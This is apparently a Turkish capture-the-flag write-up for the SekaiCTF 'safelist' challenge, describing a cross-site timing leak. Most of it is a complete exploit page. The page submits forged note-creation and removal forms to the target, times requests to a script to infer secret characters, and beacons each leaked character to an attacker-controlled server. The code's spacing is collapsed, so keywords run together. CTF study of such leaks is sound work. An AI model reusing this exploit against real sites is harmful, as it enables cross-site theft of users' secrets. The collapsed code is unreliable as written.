Saldırgan, mümkün olduğunca çok <img etiketi ile /js/purify.js yükleyecek bir not ekleyecektir (kaynağı engellemek için 6'dan fazla).
Ardından, saldırgan notu 1. indeks ile kaldıracaktır.
Sonra, saldırgan [kalan not ile botun sayfayı erişmesini sağlar] ve victim.com/js/purify.js adresine bir istek gönderecektir ve bunu zamanlayacaktır.
Eğer zaman büyüktür ise, enjeksyon kalan notta olmuştur, eğer zaman düşükse, bayrak oradadır.
Açıkçası, scripti okurken saldırganın botu img etiketlerini tetiklemek için sayfayı yüklemesini sağladığı bir kısmı kaçırdım, kodda böyle bir şey göremiyorum.
<html><head><script>constSITE_URL='https://safelist.ctf.sekai.team/';constPING_URL='https://myserver';functiontimeScript(){returnnewPromise(resolve => {var x =document.createElement('script');x.src ='https://safelist.ctf.sekai.team/js/purify.js?'+Math.random();var start =Date.now();x.onerror= () => {console.log(`Time: ${Date.now() - start}`); //Time requestresolve(Date.now() - start);x.remove();}document.body.appendChild(x);});}add_note=async (note) => {let x =document.createElement('form')x.action =SITE_URL+"create"x.method ="POST"x.target ="xxx"let i =document.createElement("input");i.type ="text"i.name ="text"i.value = notex.appendChild(i)document.body.appendChild(x)x.submit()}remove_note=async (note_id) => {let x =document.createElement('form')x.action =SITE_URL+"remove"x.method ="POST"x.target ="_blank"let i =document.createElement("input");i.type ="text"i.name ="index"i.value = note_idx.appendChild(i)document.body.appendChild(x)x.submit()}constsleep= ms =>newPromise(resolve =>setTimeout(resolve, ms));// }zyxwvutsrqponmlkjihgfedcba_constalphabet='zyxwvutsrqponmlkjihgfedcba_'var prefix ='SEKAI{xsleakyay';constTIMEOUT=500;asyncfunctioncheckLetter(letter){// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js// Depending whether we found flag's letter it will either load the images or not.// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.constpayload=`${prefix}${letter}`+Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join('');awaitadd_note(payload);awaitsleep(TIMEOUT);awaittimeScript();awaitremove_note(1); //Now, only the note with the flag or with the injection existshawaitsleep(TIMEOUT);consttime=awaittimeScript(); //Find out how much a request to the same origin takesnavigator.sendBeacon(PING_URL, [letter,time]);if(time>100){return1;}return0;}window.onload=async () => {navigator.sendBeacon(PING_URL,'start');// doesnt work because we are removing flag after success.// while(1){for(constletterof alphabet){if(awaitcheckLetter(letter)){prefix += letter;navigator.sendBeacon(PING_URL, prefix);break;}}// }};</script></head><body></body></html>